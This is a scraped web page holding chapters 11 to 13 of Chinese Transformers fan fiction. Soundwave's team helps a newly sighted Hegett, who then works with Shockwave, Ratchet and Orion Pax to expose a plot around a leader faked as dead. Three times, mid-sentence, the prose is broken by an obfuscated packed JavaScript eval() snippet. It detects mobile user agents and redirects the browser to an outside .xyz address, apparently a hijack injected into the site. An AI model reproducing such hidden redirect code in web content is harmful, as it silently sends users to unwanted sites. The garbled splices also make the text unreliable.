包含着感激、悲伤和其他一些恍惚的感受,混乱地汇聚在一起。 11.第十一章 解析流畅,机体各部位运算负载稳定。 海格特做了个自检,发现一切都很正常,除了光学模块多了一些线路,而自己的主控制系统里也“长出”了一个新功能。 他跟往常一样能看到塞伯坦人的火种,但可以随时切换到另一种视觉传感模式—— “呃……” 映入光学镜的色彩就像不断冲击,他没走几步就一阵头晕目眩,他向旁边晃了晃,但是被激光鸟推了回去。 “又歪了,这才四步,”她说,“从头再走一次,我不信你今天没法走到两位数。” “别着急,”机器狗在旁边说,“我们能搞定。” “我很怀疑。”声波默默开口。 激光鸟头也不回地将海格特推向路的另一头:“不重要,交给我就行,这花不了多长时间。” “我说的‘我们’是指这里所有人。”机器狗抬了抬爪子,“意思是你累了可以换……” 但激光鸟已经干劲满满地推着海格特走远了。 声波:“她不需要鼓励。” 机器狗缓缓放下前爪:“确实。” 海格特拥有视觉后陷入了强烈的感官错乱,在视觉模块上线的时候甚至无法正常行动,于是激光鸟主动揽下教他适应的任务。 “你需要一个平衡点,然后把光学模块的刷新频率降低一些,对,然后慢慢提高……” “有点怀念,是吧。”看着不远处的教学现场,机器狗对声波说。 许多年前,因超常听觉而陷入错乱的读心异能者徘徊在末路大街,正是被机器狗教会了集中注意力才免于崩溃。 也是从那时起他们第一次拥有了同伴。 “否定:我的学习速度不一样。”声波回答。 “哈,那倒也是。” 机器狗趴在一个金属箱上,将爪子叠起来,垫在下巴下面。 “但我从没见过激光鸟这么兴致勃勃,”他说,“你知道,她一向表现得更谨慎。” 这位兽形塞伯坦人同样拥有超常的感官,机器狗是嗅觉,而激光鸟和圆锯鸟则是视觉。 面对同伴之外的人,她几乎连说句话都不肯,永远藏在角落里,视线冰冷地注视一切。 但此时,对待被视觉困扰的海格特,激光鸟格外地有同情心和耐心,完全把他当幼生体在对待。 机器狗:“多感人啊。” 声波:“你不久前还想杀了他。” 机器狗噎了一下,摇摇尾巴:“这叫快意恩仇。” 激光鸟就这样教了海格特一段时日,当他终于能睁着眼睛越过复杂的街巷时,她宣布教学结束。 “刚刚那就是最后一次,有什么感想?”她问。 “我想谢谢你……” “免了,我是问你自己的感悟。” 于是海格特想了很久,就在激光鸟期待了半天,以为他会说出什么很棒的经验总结时,总算表情真诚地开口: “我觉得视觉真……” “真?” “真好。” 激光鸟:“……” 片刻后,脑袋上顶着两道抓痕的海格特可怜兮兮地逃进屋里。 因为开着视觉传感模式,导致他没能看到激光鸟火种波动里的攻击欲,所以连躲都没躲。 “我现在觉得也没那么好。”他嘟囔道。 旁观了一切的机器狗笑得在原地打了个滚。 “别怪她,她只是想证明自己。”他说,“当年发现声波的时候,我只说了几句话他就学会初步控制能力了,激光鸟对此一直很有胜负欲。” 海格特:“……” 机器狗:“你想说这和我教得好不好无关,是声波自己脑子好使是吗?” 海格特:“我没……” 机器狗吸了下鼻子。 海格特:“我只是想了这种可能性。” 其实也没有认真在嗅的兽形塞伯坦人笑了笑:“往好处想吧,你现在可算是看着我的眼睛说话了,原先我都不知道你在看哪。” 海格特突然想起什么,从内部收容空间拿出一个蓝色的东西,递给机器狗。 “这是?” “我看到声波在用面罩,就跟他讨论了一下设计方案,用透光蓝矿给你做了个过滤口罩,它能挡下95%以上的刺激性电子流,你在极端环境下可以用它规避感官带来的问题。” 机器狗瞪大眼睛:“你怎么会有这种高级货?” “原先做实验留下的,”海格特把口罩递给机器狗,“我本来想给激光鸟也做个东西,但她说颜色太亮了,不喜欢。” “这倒是,她更喜欢红的。” 机器狗说着,戴上口罩。 “噢,我感觉面前有一堵墙。”他无意识地扒了两下面前的空气,“但我想以后就不用每次绕着油吧走了……看上去咋样?” 海格特思考了一下:“我觉得还得调整。” 机器狗看着他的表情,突然微妙地眯起眼:“你该不会在想,我的鼻子比你想象的还要大吧?” 海格特默默移开视线。 然后他逃出屋子,在被机器狗追了两条街后,拿着口罩回到临时工作间进行调整。 透光蓝矿的信号屏蔽能力非常强,当初他去蓝晶高地的时候,天火会警告他要是出了事消息甚至传不出去,就是因为那个地方被这种矿石包围,在那里住的达官显贵们都有特殊的通讯频率和方式,所以不受影响。 在离开时,他身上带了一些矿石碎片,正好用来做点小东西。 海格特小心翼翼的延展着蓝矿。 抛开刚才的插曲不谈,视觉真是个方便的东西,以往他做一步就得停下来观测进度,现在只是看着就够了。 一切都很顺利,直到他给口罩做激活测试时,身后突然传来了脚步声。 是声波。 海格特转过身,但因为还不太熟悉视觉,他肩膀上的外甲扫到了旁边放着的试管,一颗高能液态铬钼合金滴在口罩上,发出一道刺眼光芒,又很快暗了下去。 他注视着那块渐渐消失的脉冲光斑,莫名觉得它有点眼熟。 “海格特?” “抱歉,马上就能调整好。” “我的目的不是催促。”声波递给他一块能量块,“你需要补充能量。” “……” 声波:“疑问:为什么看着我。” 海格特:“因为你态度变化得好大。” 那颗火种明明前几天还是警惕排斥到不行,不知道从什么时候起突然就松懈下来。 深蓝色的塞伯坦人淡淡地说:“我没有变,变的是你。” 海格特有些不明所以。 但声波没有解释,继续道:“我在先进技术学院的异能控制训练已经快要结束,不久后去月卫二工作。” “那机器狗和激光鸟他们……” “我会带他们一起去。” “原来如此。” 虽然月卫二也逃不过功能主义的势力范围,但这样一来,起码这些兽形金刚就不用再帮参议院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694567|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑腿了。 “知道激光鸟为什么愿意帮你吗?”就在海格特还在思考的时候,声波突然说了这么一句,“她能看见很多别人看不到的东西。” 早自功能主义上台起,兽形金刚就一直被视为二等公民,哪怕是一些愿意去同情他们身份的人,在看到激光鸟的第一眼,也会下意识觉得她不算“人”。 那种微妙的态度诧异一直让激光鸟反感,而她又一向谨慎小心,所以变得越来越回避交流。 “但你从刚看到机器狗开始,就没有把他和我们区分开。” “你好像把我想得太高尚了。”海格特平静地开口,“我只是因为看世界的方法和其他人不太一样。” “因为你以前没有视觉?” “因为我能看到所有人的火种,而火种是平等的。哪怕你们去了月卫二我也能看到——只要肯花时间。” “……” 声波差点把手里的能量块洒了。 但天生的缜密思维让他迅速整理好心情,冷静下来。 “你看上去不是很惊讶。”海格特问。 “这个情报的信息量很大,我会替你保密。”声波说,“但在塞伯坦,更多的事情……知道了又能如何。” 就像他的读心异能,哪怕能直接听见别人怎么想,但知道了又能怎么样呢? 一个人知道得越多,只会越孤独。 “我们已经忍了很久,等到受不了的时候,我们或许会离开塞伯坦,或者做点别的什么事……” 声波有一瞬间想到了霸天虎运动,但他很快回过神,看向海格特。 “如果你没地方可去,这个据点的入口处有机器狗安装的注意力转移装置,不会有人发现。” 海格特看着外面灰蒙蒙的街道,摇了摇头。 “谢谢,可我没办法躲一辈子,而且他也没有权利夺走我的生活。” “他是指谁?” “起码现在,我想指的是御天敌。” 然后海格特听见声波咔地一声合上面罩,红色的光学镜微微闪了闪,过了一会儿,他用那种电子合成音说道: “提议:寻找盟友。人员名单已根据对抗御天敌的可能性排名生成。” 海格特听见内线收到了一条消息,他一边打开一边好奇地看向声波:“你为什么偶尔会戴上面罩,还用这种说话方式?” “为了在嘈杂的环境中理清思路,后来就习惯了。”声波回答,“这不重要,你先看一下名单。” 这好像不是戴面罩的理由。海格特心想,但介于之前得罪激光鸟和机器狗的事,他没说出来,而是专心看起名单:“我看到震荡波议员排在第一?” “正确。但名单的选取依据仅为‘对抗御天敌’这一件事。” 声波特地提醒了他一句,又想继续说些什么,但想了想又没开口。 “我希望你能成功。”他说,“如果塞伯坦能成为一个人们无需依靠天生的功能定下社会地位,但也能富足生活的地方,我想我们就还能再见。” 尽管看上去冷漠又沉闷,但那颗火种依然闪烁着代表理想的光辉。 海格特刚想说些什么,就听见身后传来机器狗的声音。 “呃,我想你们不用再装作喜欢跟彼此说话了,来补充点能量块?” “你怎么说话的,他们明明聊得蛮好。”激光鸟用力扇了下翅膀,“不过都快出来吧,出大事了。” “怎么了?” “是逆天劫——那个领袖,”激光鸟说,“他死了!” 12.第十二章 “——确切的死亡时间尚未公布,但就在昨晚,象征领导模块的火焰突然熄灭了……” 晚些时候,粒子城。 广场屏幕重播着早些时候的新闻,而驻足议论的人群成了最好的掩护。 “据一位普罗图斯议员的代言人证实,他死于长期的红锈病感染……” 谎言。 他们在说谎。 在随着步伐轻轻摇晃的视野中,海格特死死盯着屏幕,他的视线越过那些光亮的画面,直达遥远的铁堡。 在那里,一颗本应已经熄灭的火种正虚弱地燃烧着。 他曾经在首席议会厅见过这个火种。 ——那是逆天劫领袖。 “嘿小心点,别在那发呆。” 有个不看路的醉汉撞了他一下,于是海格特收回视线,切换到普通的视觉模式。 “抱歉。” 他小声说了一句,然后低头离开了。 而刚想发难的撞人者只是一移开视线的工夫,就忘了自己刚刚是在干什么,他茫然地左右看了看,最后只能将这个插曲抛在脑后。 海格特穿行在人群之间。 这里有很多塞伯坦人,过往他总是通过火种来观察,现在总算能仔细地看见那一张张脸——那些惊恐忧虑的,沉思的,置若罔闻的面孔…… “快过来,你还在看什么?” 旁边巷内的黑暗中传来机器狗的声音,和那双猩红的眼睛。 “我有点想告诉他们,”海格特轻轻开口,“告诉他们领袖其实没有死,新闻是个谎言。” “……别犯傻,你不会想知道那么做的结果。” “嗯,你说得对。” 要是真那么做了,除去让自己被逮捕之外没有任何用。 随后他们沉默着翻过矮墙,从建筑的边沿绕行。 霓虹灯在海格特的光学镜里倒映出斑斓的光,普通视觉模式下,夜幕中的建筑群只剩一个模糊的轮廓,像是无数苍白的巨大金属骨架,层层叠叠构筑起世界,而世界的名字叫塞伯坦。 “又在看什么?”注意到身后的人没能及时跟上来,机器狗回过头,“有什么需要注意的吗?” “不,我只是……” 海格特被一种难以言喻的情感捕获。 “只是……有点失望?” 但是这是对谁失望呢? 他正陷入思考的时候,听见机器狗喉咙里发出一道无奈的哼声,往回走了几步。 “听着,别去想了。”他说,“集中注意力,你现在被情绪干扰得很严重。” “……” “好吧,我问你几个问题。” 海格特点头。 机器狗:“我们现在要去哪里?” 海格特:“先进技术学院。” 机器狗:“这件事是不得不做的吗?” 海格特:“我想是的,逆天劫领袖的真实情况,估计只有那位议员会相信。也只有他能做点什么。” 机器狗:“这么说你是想帮助逆天劫?” 海格特:“我不确定……但如果他死了,就没有人能阻止御天敌或者普罗图斯成为领袖。” “哪怕他活着,那两个人也已经差不多在做着‘领袖’的事。”机器狗默默说着,“所以这还不够,你得告诉我为了你自己的理由。” “我想洗清罪名。” “洗清罪名,然后呢?” “然后……”海格特思考了一下,“我想做个‘正常的塞伯坦人’。” “很好。”机器狗点了下头,转身灵活地跃下一条管道,“继续走吧。” “那你呢?”海格特追上去问,“你为什么会帮我?” 黑色的兽形金刚顿了顿,抬起脑袋:“那还用说吗?当然是和你一样, 我也想做个‘正常的塞伯坦人’。” —— ———— “后面的路你得自己走了。” 在穿过粒子城,抵达先进技术学院前时,机器狗在巷子口和他告别。 “这个你接好。” 他甩给海格特一个小型装置。 “这是?” “注意力转移器,不如我的高级,但也不错了。”机器狗说到这里,打断了海格特即将脱口而出的道谢,“你可以谢得更具体点,比如用御天敌或者普罗图斯的脑袋。” 说完,他就钻进身后的黑暗中,留下海格特被这凶残又真诚的提议弄得不知所措。 但很快他就想起要专注,于是安装了注意力转移器,绕开守卫,从一个早就知晓密码的侧门走了进去。 可能是时间太晚,现在大堂里人很少,只有充电器在专注地训练他的悬浮臂,双手泛起莹莹光芒,旁边是刹车和干扰器正在交谈,内容似乎关于一条艺术理论。 说实话,用视觉直观地看到那些认识的人是一种奇妙的体验。 海格特的视线在遭受过俱五刑的干扰器身上多停留了几秒,直到对方若有所觉地看过来,才移开视线,朝着地下室的方向走去。 听说震荡波喜欢换涂装,甚至一天之内换两次,以前他注意不到这些,现在拥有了视觉,倒是有点好奇。 ——这样的想法。 在他走下螺旋楼梯,打开地下室的那扇门时,忽然变成一阵诡异的记忆回闪。 【“…这…装置……” “……它是不是……在看我们……?”】 内部数据管线感到一阵强烈的痉挛,恍惚间,海格特通过几个数据信号看见了一张脸,和眼前在实验台前的面孔重合。 是震荡波的脸。 在他身后还有一个人,一个红色头雕,黄色面甲的矮个子…… 那是谁? 海格特茫然地陷入这条不知道来自多少年前的数据回流中,直到一个冲击猛地将他掀翻在地。 “?” 他只来得及模糊地发出一道疑惑的声音,然后双手就被反剪在身后,有人控制住了他。 是个红蓝色涂装的陌生塞伯坦人。 “哦不,派克斯?” 有人惊呼了一声,那好像是救护车的声音,海格特切换回火种视觉模式,发现真的是他。 “在我们过来的时候,我的光学镜残留画面和记忆数据有三次对不上。”奥利安·派克斯皱着眉,敏锐地发现并关闭了海格特身上的注意力转移器,“所以我们是被跟踪了。” “可是——” “别过来,我在警务系统里看到过他,罪行包括威胁诊所医生、妨碍调查、袭击两名执法人员,然后最近还涉及一起针对安保人员的一级谋杀……” 救护车不说话了。 他皱着眉看了看海格特,又看了看奥利安,视线在两侧徘徊许久,问了一句:“这不是真的吧?” “什么?” 奥利安对他的反应感到疑惑,而就在他分神的这个瞬间,海格特用不亚于专业人员的反制技巧迅速挣脱出来。 “我只是恰好顺路。”他一字一字地说。 但海格特控制不住奥利安,反而被对方抓住手臂,情急之下他只能开启额上的那颗“眼睛”,战斗一触即发。 “不,不,”救护车赶紧拦在两人中间,“等等!” “先比赛暂停好吗,看在一个英俊又智慧的现参议员的面子上?”震荡波也走过来。 于是两边都迟疑着停下攻击,海格特面无表情,而奥利安的脸被面罩遮挡,只有沉默和警惕在两人之间拉开警戒线。 很显然,救护车完全没有在乎这些。 “天火才离开铁堡多久,你才离开实验室多久,”他有些崩溃地拍了拍海格特的头雕,然后双手夹着他的脑袋,“告诉我,派克斯说的那些你真的做过吗?” 有点疼。 海格特只能心虚地低头:“基本上……但他没说擅闯功能主义委员会大楼这一条。” “哦结果还少了!?” “咳咳,不好意思,稍等一下,”议员打断了救护车,他显然对自己被晾在一边感到不满,走上前对海格特露出一个笑容,“我就知道你会平安无事!你来得正是时候,向你介绍一下,这位是粒子城的执法官奥利安·派克斯,你可能看过他在议会的演讲,你们一定在当面驳斥元老院这件事上很有共鸣。” 海格特愣了一下,但他刚看向奥利安,就听见震荡波又补充一句:“不过现在看来你没时间哈哈,请继续你们的谈话,首席军医官。” 救护车微笑:“哦谢谢您议员,太客气了。” “……” 海格特觉得自己遭到了抛弃。 然后他不出意外地迎来了救护车的一顿说教,医生显然没有天火那么温和,他仔细问了针对海格特的每项指控,然后听着他解释,也一一指出了他犯的错。 当然,也指出了一些他没错的部分。 海格特低头聆听,他看见医生的火种里除了愤怒之外,更多的其实是焦虑和担忧,还有其中隐约波动着的高兴。 他是真的在为自己平安无事而高兴。 这个认知让海格特更加愧疚了。 他就这样一直听着,直到最后,救护车说到那起一级谋杀。 “我有个问题,奥利安。”这时震荡波说话了,“那个针对安保人员的一级谋杀,受害人是谁?” 一旁,听救护车训人都听愣了的粒子城执法人员反应一下,很快在内部数据里翻到相关信息,投影在手臂前的光屏上。 “名字是红色警报,之前是蓝晶高地看守人。” “原来如此,你们过来一下好吗?” 震荡波朝实验室的某个方向走去,然后在一台休眠舱室前按了几个按钮。 “铛铛。” 伴随他摊开手臂的夸张动作和微笑的表情,休眠舱门缓缓打开,昏迷中的红色警报出现在所有人眼前。 “什么?” 奥利安识别认证了眼前之人的身份,发现的确是被“宣告死亡和失踪”的红色警报。 “哦谢天谢地……” 作为医疗单位的救护车只一眼就看出红色警报还活着,于是长长置换了一口气。但或许是放松下来的缘故,他随即就意识到一些别的事,再次将视线转向海格特。 “不好意思,议员,你们先聊。”救护车说着,指了指旁边的检查设备,“我现在能借用一下这个吗?” “当然可以。”震荡波点头。 于是救护车让海格特坐过去,开始检查他的光学模块。 这时候,唯一对海格特报以同情视线的,反而是刚才跟他打了一架的奥利安·派克斯。 但海格特顾不得这些,他感到忐忑。 口头教育就算了,不会要动手吧? 毕竟原先在奥提雷克斯大学,救护车对他说过的最多一句话就是“我看见你就来气”,虽然天火说那不是医生的本意,千斤顶也说习惯就好,但海格特却发现自己越是试图不让对方生气,往往就越是起反效果。 尤其是二十年前他们最后一次见面的时候。 那时,海格特问即将离开大学去担任首席军医的救护车,说如果方便,自己是不是可以直接把光学模块整个拆下来,寄过去让对方研究。 救护车咬牙切齿地说了一句:“你敢!?”然后用手指敲得他脑壳疼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717909|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以你是从什么时候可以看见的?” 突然的问题打断了海格特的回忆,他回过神,才意识到救护车发现了他拥有视力的事。 “就前不久,”他回答,“在末路大街。” “当时发生了什么?” “当时……”海格特仔细回想了一下,“我在思考,为什么我不能看到你们看到的世界。” 救护车皱起眉,显然对这个回答并不满意。 但眼前这家伙的脱线也不是一天两天,心知问下去也不会有结果,他只能结束这个话题。 与此同时,另一边的奥利安也和震荡波交谈了近况。 检查结束后,四人聚在一张桌旁坐下。 “时间紧迫,我认为应该从最要紧的开始说。”奥利安建议。 “关于逆天劫领袖,”救护车开口,“我不久前刚给他动过手术,他的燃料泵是崭新的,而这段时间显然不够从感染到病亡的整个过程。” “你的意思是或许当局隐瞒了情况,实际上他死于别的什么?”奥利安话刚出口就有些后悔,“抱歉,我这话毫无证据。” 震荡波笑了笑:“哈,别觉得自己想太多,御天敌的行为永远你值得更多的阴谋论。” “御天敌?不是普罗图斯议员吗?” “相信我,普罗图斯只是爱站在台前而已,他没有动真格的胆量,有这个胆子对领袖动手的人只会是御天敌。” 震荡波说完看向海格特。 “抱歉,我派人去你跳车的地点附近找过你,但只发现一些弹坑,别的什么也没有发现。” “什么跳车?”救护车皱起眉,“还有弹坑?” 海格特目光游离一下,短暂的思考后,他决定逃避这个问题。 “我之前用透光蓝矿做实验的时候,发现在特定条件下它会发出和领导模块类似的脉冲信号——只是看上去像而已。” 他说着,取出内部收纳空间的一小块残片。 “既然这件事我能发现,那御天敌也可能会发现,他的确可能会谋害领袖,但我认为还有另一种可能。” “什么?” “就是出于其他的一些理由,逆天劫领袖或许还没死,宣布他死亡的新闻是假的。” 实验室陷入一阵诡异的沉默,没有人说话。 “可为什么他要留领袖一命?” 震荡波刚说完就忽然意识到了答案,他看向海格特。 “他知道你,为什么不呢?然后利用你传递的消息来让我们行动……还有多久?我是说距离逆天劫死亡。” “大概三天。”海格特预估了一下。 救护车急切地拍了下桌子:“他一定在经历火种衰竭,我得赶紧过去。” 显然,不管是糟糕的领袖还是末路大街的流浪者,对他来说都是平等的患者。 “你现在过去是自投罗网。”震荡波出言劝阻,“御天敌就是想诈我们出来,这里的所有人都会受到牵连,更何况,他们不会让你有机会接近领袖。” 救护车张了张嘴,但最后什么也没说,只能满脸复杂地重新坐下。 只有奥利安茫然地看着他们:“是我漏听了什么吗?你们都这么确信这个猜测?” “对了,忘记跟你解释,”几秒的空档后,震荡波率先反应过来,“海格特他有一种定位异能。” “是的,呃,独特的热能定位。”救护车接过话,“他见过逆天劫,所以如果领袖真的死了,相应的定位锚点就会消失,就跟领导模块火炬一样——当然前提是火炬的功能保真的话。” 奥利安沉默着揉了揉脑侧的天线,陷入一阵沉思,最后他看向震荡波:“这是我今天在你这里听到的最可怕的异能。” “哈哈别这样说,海格特是个很好的人,而且他这个能力……呃,也不是一直能用,对吧?” 一直能用啊? 海格特茫然地看了看他,但在震荡波和救护车的双重示意下,只能点头承认。 “对不起,我没有冒犯你的意思,”红蓝色涂装的执法者坦然而歉意地看向海格特,“我只是想说,如果你拥有这种能力,那被人盯上的确很有可能……” 他说到这,突然内线信息响了起来,于是奥利安说了声抱歉,转头接起通讯。 “嘿,你又去哪儿了?”是小滚珠的声音,他貌似正在喝饮料,声音含糊不清,“有一条紧急通知,让你赶紧去一趟月卫一。” “找我?” “是的,格拉斯1号有个叫旋刃的囚犯找你,知道这个名字吗?” 听见是曾经和威震天一案有关的人,奥利安稍微权衡了一下,打了个招呼后就先行离开。 救护车本来也打算走,但震荡波把他留了下来。 “有件事想麻烦你帮个忙,这里正需要一个手巧的人。” 救护车想了一下:“我猜猜,是关于红色警报?” 他刚才已经从海格特那里听说了大致的事情经过,他也对那种“被操控”的情况感到疑惑。 “是的,这个可怜的人被数据操控折磨得不成样,我们会负责大脑修复的部分,这期间需要你来进行维生。” “这听上去是脑科学家该干的活……”医疗单位思考了一下,“不过我觉得可以试试,如果你们有把握。” “有的。”海格特接过回答的话,走到休眠舱前,“如果幕后之人真的将他当成随时使用的私兵,那恐怕控制的不止一个人。所以我想找到控制他的信号波形。” “那假设你知道了那个信号,然后呢?” “然后我就能定位他们了。” 海格特说。 “所有的。” 13.第十三章 警车不喜欢打破秩序。 不仅是因为从上线那日起云雾山城对他灌输的严格教育,更是因为作为法律系统的一环,他见过太多因违背规则而产生的失控和伤亡。 所以任何事都要遵守规章流程,做更全面的尸检,用逻辑测算还原出更精密的真相,抓捕罪犯…… 目的只有一个,就是保持“正确”,维护法典和安保部队。 只要沿着这条路走,总有一天一切都会恢复秩序。 所以,当他与锁芯潜入让渡诊所的地下,窥见那些脑科学家对上百个脑模块进行剥取实验的现场时,警车的第一反应是否定。 “即使这在技术上可行,你如何证明与安保部队或元老院有关?” “拜托,都在你眼前了,”锁芯无奈地说着,操作起角落里的一台电脑,“看这,我发现了一份名单,按照‘威胁等级’排列。” “我们的擅自调查已经违反了部分条例。”警车凑上前查看,“这至少有上千个名字,来不及仔细看,你快上传然后我们……” 他的声音突然低了下去。 “怎么了?”锁芯回过头。 “没事,你上传完我们就走。” 警车说。 他刚刚收到了一条联络,而那条非工作的个人线路只会有一个人给他发消息。 又来了。 银白色的机械法医感到一种莫名的烦躁,或许是担忧自己与锁芯遭到通/缉/犯的牵连,他没有看海格特的消息,结果现在已经重复被发了好几条。 不难想象,对面大概是单纯以为信号故障,毕竟信息一直是未读状态,而警车为了尽可能避免情报错失,基本上不会屏蔽任何人。 好吧,就看一眼…… 之后别人查起,就以反向追踪、协助抓捕的名义,或者干脆就说误触了。 这样想着,警车点开了那条信息。 他还以为对方或许会为了试图洗脱罪名而长篇大论地“解释”,但实际上信息的内容很短,甚至只有一行字: 【逆天劫领袖还活着,你想加入救他的队伍吗?(期待)】 “!?” 这条消息的信息量惊得他逻辑电路都麻了一下,咬着牙才没“哈?”出声。 所幸,正专注于上传名单的锁芯没有注意到这里的异样。 于是思索片刻后,紧锁眉头的警车第一次回了消息: 【我会反向追踪你的信号数据。】 【好,那就到你追踪到的地点来吧。(笑脸)】 “……” 这家伙到底有没有一点作为犯人的自觉? 警车无语地皱起眉,回了一句:【别再给我发消息了。】 海格特:【可这就是个做正确事的机会。】 警车:【……你以为我一直以来都在做什么?】 海格特:【你一直在纠正错误。】 这不一样吗? 这明明可被视为强词夺理,但警车的逻辑电路却传来一阵微妙的感受。 他陷入一阵思考,然后就看到海格特又发了一条消息过来,这次有好几行。 【抱歉,我也不知道该怎么说, 但做正确的事和纠正错误应该是不太一样的。 我答应过你要协助调查整件事,而且你没有将红色警报还活着的事告诉上面的人。 所以我会相信你。】 全错了。 警车心想。 我没有把红色警报的事上报,仅仅是因为这不在我的职务范围内,也不在案件的调查范围。 那些同情、善意……任何超越理性的东西,早在他还在学习的时期就被丢到回收站。 至于什么信任,更是无稽之谈。 值得信任的从始至终就只有法律和规则而已。 …… 所以这就是结论吗? 举报海格特,把他抓入大牢,然后当做什么事也没发生……? 警车盯着面前的虚空,直到听见锁芯的声音从旁边传来。 “回事务所吧,名单我存好了。” 橙白机体的法医用有些疲惫的声音说完,率先朝着通往地面的通路走去,但走了几步,他意识到警车没有跟上来。 “怎么了?” “我……” 警车看着自己的搭档,心情复杂地组织了一下措辞。 “抱歉,我有点事要处理,先不回去了。” 他极其难得地道了声歉。 也不知道是对锁芯,还是对他自己的理智。 —— ———— 铁堡,麦卡丹油坊。 谢尔玛议员遇刺事件结案后,这里很快就恢复营业,除去外面的洲际大桥换了个名字之外,一切看上去就像什么也没发生。 顾客两三闲谈或独饮着,只不过聊的内容从普罗图斯的承诺变成了领袖去世的新闻、核子矿涨价的消息,还有那些藏于暗处,愈演愈烈的霸天虎运动。 空气里游荡着特质燃油的气息。 海格特坐在油坊的一角,面前放着一杯饮料。 得益于机器狗给他的注意力转移装置,他躲在角落低头看数据板时可以不用担心被发现。 【“给奥利安·派克斯:目标在你北边3.2公里,正在朝洲际高速的方向移动,预计还有十二分钟抵达高速。”】 【“给开路先锋:最近的目标就在你西侧,可能是三楼,目前保持静止。”】 他一边悄悄观察那些有着与红色警报类似的被操纵波形的火种,一边将其位置报给在外面找人的分队成员。 在合作下,相关反制装置做得很快——虽然不能完全根除影响,但至少也可以短期内屏蔽来自操纵者的信号。 于是等奥利安从月卫一回来,他们没多久就制定好了计划: 分头寻找御天敌操控的私兵,解除他们身上的操纵,以此削弱御天敌的力量,留下几个证人分散注意力,然后抓紧时间去营救逆天劫。 治好他,将御天敌谋害领袖的事公之于众,再用假领导模块的事让逆天劫下台……这些都是后话了。 至少截止目前,一切都进行得很顺利。 然而海格特在数据板上操作了一会儿,偶尔稍稍抬起眼,看着坐在桌子对面的那人——准确来说是看向对方的火种。 那团黄矮星般明亮的光,正隐隐散发着一股代表愤怒的波动,从进来起就是这样。 是的,震荡波议员在生气,原因不明。 这让海格特头一次羡慕起声波的读心异能。 眼下他除了传递定位消息的任务之外,还在顺带保护可能遇到危险的议员。原本奥利安想将这项任务交给小滚珠,但显然那位执法人员平日冒失的个性已经超过了人们对他巨大体格的信赖。 ……所以议员为什么会心情不好呢? “如果您不喜欢这里,我们可以去方舟一号纪念广场。”海格特说,“那里视野更开阔。” 震荡波看了他一眼,突然笑了:“你觉得我是因为被限制一会儿自由就不满?” 海格特露出一副“我不确定”的表情。 “那我给你个提示。” 今天是一身(只有他自己认为)低调的青白色涂装的议员说着,突然做出一副面无表情的神态,还竖起一根手指。 “‘你以为自己是救世主吗?一个拯救即将迷失的塞伯坦的英雄,而你的议员朋友和通缉犯朋友恰巧看上去是世界上唯二的好人?’” “……” 海格特知道,这是警车之前对试图领导他行动的奥利安·派克斯说的话。 “真像。”他忍不住说。 “我一向很有戏剧天赋。” 震荡波轻描淡写地接受了夸奖。 “不过,警车最后还是听了指挥。”海格特说,“他对您造成的冒犯我很抱歉,但毕竟是我让他来的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745871|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哦不……” 见海格特还是没弄懂,震荡波忍不住扶额,然后他伸手晃了晃中型机的肩膀。 “听着,那个机械法医或许是真的想查出真相,但事情结束后他绝对会把你塞到格拉斯1号,你千万别以为他藏着什么好心——” 他努力压下想要大声说话的冲动,用尽可能轻的声音表现着自己的激动。 “是这样吗?”海格特歪了下头雕。 震荡波松开手:“当然,我敢肯定他参与这件事的目的绝对不只是所谓的‘调查真相’或者‘营救领袖’。” “那您呢?” “……什么?” “我是说您的目的,它也不简单吧?” 议员愣了一下,看到海格特从数据版中抬起头,直视他的面甲。 “我还记得是您让我调查透光蓝矿,”海格特移开目光,看了一圈目标火种的情况,继续低头发消息,“是不是从那时候开始,就想让我意识到逆天劫领袖的领导模块是假的?” 沉默在两人之间蔓延。 “还有一件事。”海格特接着说,“我查了奥提雷克斯的记录,然后就发现120年前那场救了我的极地科考,背后资金支持者和一名议员走得很近。” “还有吗?”震荡波问。 “还有就是,我们是不是……”以前好像见过? 海格特说到一半,发现震荡波火种中的愤怒不知何时已经消失了,取而代之的是一种少见的平和。 于是他下意识停了下来。 “我很高兴你学会了怀疑,”震荡波摊了下手,“毕竟最近实在发生了太多事,但这世上除了阴谋之外还有很多巧合,不如说——你觉得你遇到奥提雷克斯大学的人不好吗?” “我不觉得……” “那我们就先结束这个话题怎么样?毕竟现在还有更重要的事。” 议员总是情绪充沛,热情洋溢,所以当他过于冷静,特别是微微低着头笑的时候,就产生了格外强烈的压迫感,让人想起他还是个颇有权利的元老院参议员。 但是—— “不行。” 海格特说。 “唉,”议员泄了气,头疼地捂上脸,“怎么会这样,我还以为这招一直管用,连正在大谈艺术的丧门神都会安静,你怎么比他还固执。” “……” 